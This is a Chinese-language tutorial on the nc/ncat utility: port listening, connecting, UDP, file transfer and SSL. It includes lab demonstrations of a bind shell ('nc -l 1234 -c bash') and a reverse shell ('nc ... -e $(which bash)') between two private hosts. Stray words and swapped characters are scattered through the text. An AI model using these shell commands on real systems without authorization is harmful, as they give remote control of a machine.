nc命令简介

nc介绍

ncat/nc 既是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至能够作为一个简单的 TCP 代理。安全

在大多数 Debian 发行版中,nc 是默承认用的,它会在安装系统的过程当中自动被安装。 可是在 CentOS 7 / RHEL 7 的最小化安装中,nc 并不会默认被安装。 须要用下列命令手工安装。bash

yum install nmap-ncat -y
  • 监听端口

    使用-l选指定监听端口,加上-v选项显示详细信息
[root@host_1 ~]# nc -lv 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
  • 链接端口

    nc默认就是链接端口,-v显示详细信息,-u链接udp端口
[root@host_2 ~]# nc -v 192.168.159.134 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.159.134:1234.

查看系统开启的udp端口工具

[root@host_1 ~]# netstat -unlp 
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
udp        0      0 0.0.0.0:3139            0.0.0.0:*                           691/dhclient        
udp        0      0 127.0.0.1:323           0.0.0.0:*                           640/chronyd         
udp        0      0 0.0.0.0:68              0.0.0.0:*                           691/dhclient        
udp6       0      0 :::45845                :::*                                691/dhclient        
udp6       0      0 ::1:323                 :::*                                640/chronyd

链接udp端口加密

[root@host_2 ~]# nc -vu 192.168.159.134 3139
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.159.134:3139.
  • 传输文件

在端口已链接的基础上,能够进行文件传输。代理

  • 主机1做为接受端打开端口
[root@host_1 testdir]# nc -lv 1234 > receive.txt

主机2上链接端口并传输文件
[root@host_2 ~]# nc -v 192.168.159.134 1234 < anaconda-ks.cfg Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.159.134:1234. Ncat: 1238 bytes sent, 0 bytes received in 0.03 seconds.code

  • 远程控制

    现有host_1 host_2两台主机,演示host_2控制Host_1
host_1 192.168.159.134
host_2 192.168.159.130
  • 正向控制

host_1执行:server

[root@host_1 testdir]# nc -l 1234 -c bash

host_2执行:ssl

[root@host_2 ~]# nc -v 192.168.159.134 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.159.134:1234.
hostname
host_1

nc命令经过创建的链接将bash传递给对方。上面host_2链接成功后,执行hostname命令返回host_1主机名,表示已成功控制host_1io

因为正向控制是在被控端开启端口,因此若存在防火墙颇有可能没法链接成功test

  • 反向链接

主机host_2监听端口
[root@host_2 ~]# nc -l 1234
主机host_1链接端口并推送bash
[root@host_1 testdir]# nc -v 192.168.159.130 1234 -e $(which bash) Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.159.130:1234.
控制端主机开启端口监听,被控端主动链接端口并推送bash到控制端。

  • nc传输加密

因为nc使用明文进行传输数据,因此引入ncat命令。ncat命令使用--ssl选项表示开启ssl管道加密传输。

相关文章
相关标签/搜索